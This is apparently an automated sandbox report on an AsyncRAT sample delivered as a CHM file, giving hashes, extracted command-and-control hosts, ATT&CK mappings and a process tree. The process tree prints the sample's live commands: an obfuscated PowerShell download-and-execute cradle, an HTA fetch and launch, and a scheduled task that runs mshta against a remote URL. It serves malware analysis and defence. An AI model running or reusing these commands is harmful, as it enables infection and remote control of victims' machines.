asyncrat | fbd57e5294d26fdc3a319da895d8537a83a84ed01f1492e9730dc7b3d6ee5f94

General

Target

83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06.chm
Size

190KB
MD5

9d9a0a119044c6a83d533a1941bb64c5
SHA1

279387ccf49c5f71c99f8b89b333be4a70f6cab6
SHA256

83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06
SHA512

31c4edbcff416df4cada81dbd1e3bdc752cb8a74c837787feba01d9e93e00970b15efac6bf70548b8ba1811cf7e7522bbd64cfe0572d5619759b8069b5b399b2
SSDEEP

3072:Xg4C8YLEo5xuIvDocDWjc/pgDXQgKpacezvRBDobwrArHMp1G6/AirUIKX6MA:XpYIW0UY8pTxp/mjmqArYRQIKX5A

Score

10^/10

asyncrat 2023 rat

Malware Config

Extracted

Family

asyncrat

Version

- By Dimas Rodrigues

Botnet

2023

C2

clsuplementos.ddns.net:1110

clsuplementos.ddns.net:2220

clsuplementos.ddns.net:3330

clsuplementos.ddns.net:4440

clsuplementos.ddns.net:5550

clsuplementos.ddns.net:6660

clsuplementos.ddns.net:7770

clsuplementos.ddns.net:8880

clsuplementos.ddns.net:9990

handling.ddns.net:1110

handling.ddns.net:2220

handling.ddns.net:3330

handling.ddns.net:4440

handling.ddns.net:5550

handling.ddns.net:6660

handling.ddns.net:7770

handling.ddns.net:8880

handling.ddns.net:9990

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4608-183-0x0000000000400000-0x0000000000416000-memory.dmp	asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

21 2344 powershell.exe
48 3760 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation mshta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3760 set thread context of 4608 3760 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2456 schtasks.exe
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2344 powershell.exe
2344 powershell.exe
3760 powershell.exe
3760 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2344 powershell.exe
Token: SeDebugPrivilege 3760 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

3968 hh.exe
3968 hh.exe

flow	pid	process
21	2344	powershell.exe
48	3760	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	mshta.exe

description	pid	process	target process
PID 3760 set thread context of 4608	3760	powershell.exe	RegSvcs.exe

pid	process
2456	schtasks.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000_Classes\Local Settings	powershell.exe

pid	process
2344	powershell.exe
2344	powershell.exe
3760	powershell.exe
3760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe

pid	process
3968	hh.exe
3968	hh.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

hh.exepowershell.exemshta.execmd.exepowershell.exe

description	pid	process	target process
PID 3968 wrote to memory of 2344	3968	hh.exe	powershell.exe
PID 3968 wrote to memory of 2344	3968	hh.exe	powershell.exe
PID 2344 wrote to memory of 852	2344	powershell.exe	mshta.exe
PID 2344 wrote to memory of 852	2344	powershell.exe	mshta.exe
PID 2344 wrote to memory of 852	2344	powershell.exe	mshta.exe
PID 852 wrote to memory of 3760	852	mshta.exe	powershell.exe
PID 852 wrote to memory of 3760	852	mshta.exe	powershell.exe
PID 852 wrote to memory of 3760	852	mshta.exe	powershell.exe
PID 852 wrote to memory of 4860	852	mshta.exe	cmd.exe
PID 852 wrote to memory of 4860	852	mshta.exe	cmd.exe
PID 852 wrote to memory of 4860	852	mshta.exe	cmd.exe
PID 4860 wrote to memory of 2456	4860	cmd.exe	schtasks.exe
PID 4860 wrote to memory of 2456	4860	cmd.exe	schtasks.exe
PID 4860 wrote to memory of 2456	4860	cmd.exe	schtasks.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe
PID 3760 wrote to memory of 4608	3760	powershell.exe	RegSvcs.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden wget 'https://meubooking.com.br/2023/reservations.php?file=edce4301c8d01cf9b904be.html' -OutFile 'C:\Users\Public\win32.hta'; Start-Process 'C:\Users\Public\win32.hta'
2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\win32.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command <#-------------#>$Ojbd='<#-------------#>IEX(N`e`w-Object Net.W';<#-------------#>$t2='ebClient).Downlo';<#-------------#>$t3='t4(''https://corpolevesuplementos.com.br/2022pws/assyncpws.jpg'')'.Replace('t4','adString');Sleep(5);IEX(<#-------------#>$Ojbd+<#-------------#>$t2+<#-------------#>$t3)
4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3760

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
5⤵
PID:4608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /min schtasks /create /sc MINUTE /mo 180 /tn "BfeOnServiceStartTypeChange{9E67695A-30C6-420C-9ACF-8734ABFB9710}" /tr "\"mshta\"https://corpolevesuplementos.com.br/2022pws/assdirect.html" /F
4⤵
- Suspicious use of WriteProcessMemory
PID:4860

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc MINUTE /mo 180 /tn "BfeOnServiceStartTypeChange{9E67695A-30C6-420C-9ACF-8734ABFB9710}" /tr "\"mshta\"https://corpolevesuplementos.com.br/2022pws/assdirect.html" /F
5⤵
- Creates scheduled task(s)
PID:2456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a9b53645ac136a73f0af2f791f716efd

SHA1
9917c3c61b029440dacd1b93a80700ce4afdfae8

SHA256
e9945e3f08483ef253189f405ad6ed0360649884e7ff534bbb233ba93fdd71d6

SHA512
a10d2e89faf9f76242edf38c88af522c7739402e158b7202566442bcbe78c84e7ff1c375a90c75bc396046e90a8a57dc24817a1a5ae524da148c1eef034962b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyj52wf5.ci2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\win32.hta

Filesize
254KB

MD5
9d447d72b85eca4c58a5b14dbb170e01

SHA1
9c39245d5b40e4815d006ce6fe402e7ec26e0045

SHA256
388e1f36d35dcbe4675821f4104514f66bcefdee33752acad874e45bdf44499a

SHA512
c7d9a77a78f1ee3dec93d288bbcd774f4667778970012cdbd4b0b0835ca29dc8717d9c90c07c79847e13483eb1057e039dae13777a33d1f157baa1d5e227c5f2

Download Submit
memory/2344-146-0x00000276DBA40000-0x00000276DBA62000-memory.dmp

Filesize
136KB

Download
memory/2344-151-0x00000276DBAC0000-0x00000276DBAD0000-memory.dmp

Filesize
64KB

Download
memory/2344-152-0x00000276DBAC0000-0x00000276DBAD0000-memory.dmp

Filesize
64KB

Download
memory/3760-159-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-177-0x0000000007830000-0x0000000007EAA000-memory.dmp

Filesize
6.5MB

Download
memory/3760-161-0x0000000005080000-0x00000000056A8000-memory.dmp

Filesize
6.2MB

Download
memory/3760-162-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

Filesize
136KB

Download
memory/3760-163-0x0000000005720000-0x0000000005786000-memory.dmp

Filesize
408KB

Download
memory/3760-164-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/3760-158-0x00000000049C0000-0x00000000049F6000-memory.dmp

Filesize
216KB

Download
memory/3760-175-0x0000000005FF0000-0x000000000600E000-memory.dmp

Filesize
120KB

Download
memory/3760-176-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-160-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-178-0x0000000006520000-0x000000000653A000-memory.dmp

Filesize
104KB

Download
memory/3760-179-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-180-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-181-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3760-182-0x0000000007680000-0x000000000771C000-memory.dmp

Filesize
624KB

Download
memory/4608-183-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4608-186-0x0000000003360000-0x0000000003370000-memory.dmp

Filesize
64KB

Download
memory/4608-187-0x0000000003360000-0x0000000003370000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads